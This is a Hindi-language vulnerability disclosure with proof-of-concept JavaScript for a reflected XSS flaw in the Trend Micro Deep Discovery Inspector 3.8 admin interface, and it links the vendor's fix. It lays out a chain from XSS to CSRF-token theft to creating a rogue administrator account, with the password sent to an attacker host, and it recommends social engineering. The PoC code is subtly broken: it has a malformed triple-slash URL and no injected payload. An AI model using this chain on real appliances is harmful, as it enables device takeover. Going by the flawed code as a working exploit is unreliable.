
Trend Micro Deep Discovery Inspector 3.8 में रिफ्लेक्टेड XSS के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो प्रमाणित वेब इंटरफ़ेस के माध्यम से CSRF बाईपास और व्यवस्थापक खाता अधिग्रहण को सक्षम करता है।
====
मैंने डीप डिस्कवरी इंस्पेक्टर 3.8 सर्विस पैक 5 बिल्ड: 3.85.1165 के प्रबंधन वेब इंटरफेस में एक रिफ्लेक्टेड XSS भेद्यता पाई है। भेद्य स्क्रिप्ट पथ /php/detection_detail_filter.php है। यह स्क्रिप्ट केवल प्रमाणित उपयोगकर्ता के लिए सुलभ है, लेकिन यह भेद्यता को कम गंभीर नहीं बनाती है, नीचे दिए गए हमले के परिदृश्य को ध्यान में रखते हुए।
https://PASTE_DDI_IP_HERE/php/detection_detail_filter.php?ips%5B%5D=217.69.139.245%3A80
Screen1.png पुष्टि करता है कि ips[] पैरामीटर HTML कोड इंजेक्शन के लिए भेद्य है।
इस भेद्यता का उपयोग CSRF सुरक्षा को बायपास करने, CSRF टोकन प्राप्त करने और सफलतापूर्वक CSRF हमला करने के लिए किया जा सकता है। निम्नलिखित परिदृश्य का उपयोग करके Deep Discovery Inspector उपकरण का पूर्ण अधिग्रहण भी किया जा सकता है:
1. DDI वेब इंटरफेस में लॉग इन उपयोगकर्ता को एक दुर्भावनापूर्ण वेब पेज पर जाने के लिए प्रेरित किया जाता है।
2. इस पेज पर दुर्भावनापूर्ण स्क्रिप्ट /php/detection_detail_filter.php में XSS भेद्यता का उपयोग करके लॉन्च की जाती है।
3. स्क्रिप्ट /wsgi/csrf/get_token/ पर PUT अनुरोध के माध्यम से CSRF टोकन प्राप्त कर रही है।
4. और फिर यह पिछले अनुरोध के प्रतिक्रिया से प्राप्त टोकन का उपयोग करके व्यवस्थापक विशेषाधिकारों वाला एक खाता जोड़ता है।
5. जोड़े गए खाते का पासवर्ड पिछले अनुरोध की प्रतिक्रिया से प्राप्त होता है।
6. पासवर्ड HTTP अनुरोध के माध्यम से हमलावर के होस्ट पर स्थानांतरित किया जा सकता है।
Screen2.png हमले को क्रियान्वित दिखाता है।
हमले को पुन: उत्पन्न करने के लिए, आप निम्नलिखित कोड का उपयोग कर सकते हैं (ddi_ip वेरिएबल को आपके DDI उपकरण के IP के अनुसार बदला जाना चाहिए):
<b>DDI PoC</b>
<script type="text/javascript">
function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", 'POST');
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
var ddi_ip = '192.168.91.66';
post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});
</script>
इस PoC कोड को हमलावर के वेब सर्वर पर रखा जाना चाहिए, और इस सर्वर का लिंक DDI वेब इंटरफेस में लॉग इन उपयोगकर्ता (व्यवस्थापक अनुमतियों वाले) द्वारा खोला जाना चाहिए। उपयोगकर्ता को सोशल इंजीनियरिंग के उपयोग से लिंक पर क्लिक करने के लिए प्रेरित किया जा सकता है।
ट्रेंड माइक्रो ने निम्नलिखित समाधान प्रदान किया है: https://success.trendmicro.com/solution/1121079